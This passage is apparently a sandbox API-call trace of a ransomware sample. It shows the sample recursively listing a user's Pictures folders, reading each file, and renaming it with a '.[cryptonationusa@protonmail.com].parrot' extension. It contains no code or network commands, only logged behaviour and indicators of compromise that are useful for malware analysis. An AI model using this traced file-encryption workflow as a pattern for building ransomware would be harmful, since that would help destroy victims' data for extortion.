ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0093.237] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2c109d80, ftCreationTime.dwHighDateTime=0x1d5c428, ftLastAccessTime.dwLowDateTime=0xc4bf3be0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4bf3be0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fvvILK ZsD01", cAlternateFileName="FVVILK~1")) returned 1 [0093.237] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb06221b0, ftCreationTime.dwHighDateTime=0x1d5c57e, ftLastAccessTime.dwLowDateTime=0xc4cb22c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4cb22c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hJCgv2oRFOyR31hVl", cAlternateFileName="HJCGV2~1")) returned 1 [0093.237] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4fa500, ftCreationTime.dwHighDateTime=0x1d5b7dc, ftLastAccessTime.dwLowDateTime=0x61ef8990, ftLastAccessTime.dwHighDateTime=0x1d5c4e9, ftLastWriteTime.dwLowDateTime=0xc4cd8420, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x18a28, dwReserved0=0x0, dwReserved1=0x0, cFileName="N2crsYb1.wav.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="N2CRSY~1.PAR")) returned 1 [0093.237] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0093.237] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0093.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0093.238] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0093.238] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0093.238] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba28 [0093.238] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0093.238] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0093.239] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.239] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f9d33b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f9d33b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.239] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.239] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.239] FindNextFileW (in: hFindFile=0x6003d0, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebcf2c60, ftCreationTime.dwHighDateTime=0x1d5bfd5, ftLastAccessTime.dwLowDateTime=0x62aa2fa0, ftLastAccessTime.dwHighDateTime=0x1d5b596, ftLastWriteTime.dwLowDateTime=0x62aa2fa0, ftLastWriteTime.dwHighDateTime=0x1d5b596, nFileSizeHigh=0x0, nFileSizeLow=0x5239, dwReserved0=0x0, dwReserved1=0x0, cFileName="07_sIkzb7.gif", cAlternateFileName="07_SIK~1.GIF")) returned 1 [0093.239] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5d6758 [0093.239] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.239] ReadFile (in: hFile=0x284, lpBuffer=0x18f800, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x18f800*, lpNumberOfBytesRead=0x18f7a4*=0x18, lpOverlapped=0x0) returned 1 [0093.240] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.240] ReadFile (in: hFile=0x284, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5239, lpNumberOfBytesRead=0x18f7a4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f7a4*=0x5239, lpOverlapped=0x0) returned 1 [0093.240] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.241] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.241] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.242] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\07_sIkzb7.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\07_sikzb7.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\07_sIkzb7.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\07_sikzb7.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.244] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0093.244] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.244] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6e53fa90, ftCreationTime.dwHighDateTime=0x1d5c313, ftLastAccessTime.dwLowDateTime=0x62968a50, ftLastAccessTime.dwHighDateTime=0x1d5b5c7, ftLastWriteTime.dwLowDateTime=0x62968a50, ftLastWriteTime.dwHighDateTime=0x1d5b5c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.245] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.245] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.245] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb578280, ftCreationTime.dwHighDateTime=0x1d5c5b5, ftLastAccessTime.dwLowDateTime=0xa5498e90, ftLastAccessTime.dwHighDateTime=0x1d5be75, ftLastWriteTime.dwLowDateTime=0xa5498e90, ftLastWriteTime.dwHighDateTime=0x1d5be75, nFileSizeHigh=0x0, nFileSizeLow=0x160fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="242dVClbBv7nRIy3Q.png", cAlternateFileName="242DVC~1.PNG")) returned 1 [0093.245] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605470 [0093.245] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.245] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.246] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.246] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x160fd, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x160fd, lpOverlapped=0x0) returned 1 [0093.246] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.250] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.250] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.251] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\242dVClbBv7nRIy3Q.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sn7c\\242dvclbbv7nriy3q.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\242dVClbBv7nRIy3Q.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sn7c\\242dvclbbv7nriy3q.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.253] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.253] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.254] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.254] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x14629, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x14629, lpOverlapped=0x0) returned 1 [0093.255] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.260] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.260] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.261] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\CT2HlTZP.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sn7c\\ct2hltzp.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\CT2HlTZP.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sn7c\\ct2hltzp.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.264] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.264] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.265] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.265] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6eae, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x6eae, lpOverlapped=0x0) returned 1 [0093.265] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.267] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.267] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.268] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.268] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\OZ36rDML7k.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sn7c\\oz36rdml7k.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\OZ36rDML7k.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sn7c\\oz36rdml7k.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.271] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\RfRjR1oXRFF81Y84kUcd\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0093.271] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.271] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf126c0e0, ftCreationTime.dwHighDateTime=0x1d5bf2d, ftLastAccessTime.dwLowDateTime=0x7ec71220, ftLastAccessTime.dwHighDateTime=0x1d5c4c3, ftLastWriteTime.dwLowDateTime=0x7ec71220, ftLastWriteTime.dwHighDateTime=0x1d5c4c3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.271] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.271] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.271] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554bcb80, ftCreationTime.dwHighDateTime=0x1d5c594, ftLastAccessTime.dwLowDateTime=0x6688edc0, ftLastAccessTime.dwHighDateTime=0x1d5be18, ftLastWriteTime.dwLowDateTime=0x6688edc0, ftLastWriteTime.dwHighDateTime=0x1d5be18, nFileSizeHigh=0x0, nFileSizeLow=0x2a16, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKDEJAXp.bmp", cAlternateFileName="")) returned 1 [0093.271] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5d6758 [0093.271] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.272] ReadFile (in: hFile=0x264, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.272] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.272] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2a16, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x2a16, lpOverlapped=0x0) returned 1 [0093.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.273] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.273] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.273] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\RfRjR1oXRFF81Y84kUcd\\GKDEJAXp.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sn7c\\rfrjr1oxrff81y84kucd\\gkdejaxp.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\RfRjR1oXRFF81Y84kUcd\\GKDEJAXp.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sn7c\\rfrjr1oxrff81y84kucd\\gkdejaxp.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.276] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.276] ReadFile (in: hFile=0x264, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.276] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.276] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7f0e, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x7f0e, lpOverlapped=0x0) returned 1 [0093.277] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.277] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.278] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.279] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\RfRjR1oXRFF81Y84kUcd\\iPnW76IUcto.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sn7c\\rfrjr1oxrff81y84kucd\\ipnw76iucto.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\RfRjR1oXRFF81Y84kUcd\\iPnW76IUcto.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sn7c\\rfrjr1oxrff81y84kucd\\ipnw76iucto.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.282] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.282] ReadFile (in: hFile=0x264, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.283] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.283] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x105f1, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x105f1, lpOverlapped=0x0) returned 1 [0093.283] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.286] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.286] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.289] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\RfRjR1oXRFF81Y84kUcd\\wG9E3PcOlG.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sn7c\\rfrjr1oxrff81y84kucd\\wg9e3pcolg.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\RfRjR1oXRFF81Y84kUcd\\wG9E3PcOlG.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sn7c\\rfrjr1oxrff81y84kucd\\wg9e3pcolg.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.294] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\RfRjR1oXRFF81Y84kUcd\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0093.294] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf126c0e0, ftCreationTime.dwHighDateTime=0x1d5bf2d, ftLastAccessTime.dwLowDateTime=0xc4ec7600, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc4ec7600, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.295] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554bcb80, ftCreationTime.dwHighDateTime=0x1d5c594, ftLastAccessTime.dwLowDateTime=0x6688edc0, ftLastAccessTime.dwHighDateTime=0x1d5be18, ftLastWriteTime.dwLowDateTime=0xc4ea14a0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2b38, dwReserved0=0x0, dwReserved1=0x0, cFileName="GKDEJAXp.bmp.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="GKDEJA~1.PAR")) returned 1 [0093.295] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0093.295] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.295] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.296] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.296] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xefb7, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xefb7, lpOverlapped=0x0) returned 1 [0093.296] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.298] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.298] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.300] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\SCezYJ9A9OttvHU.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sn7c\\scezyj9a9ottvhu.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\6sn7C\\SCezYJ9A9OttvHU.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\6sn7c\\scezyj9a9ottvhu.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.304] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.304] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.305] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.305] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xea8f, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0xea8f, lpOverlapped=0x0) returned 1 [0093.305] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.307] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, 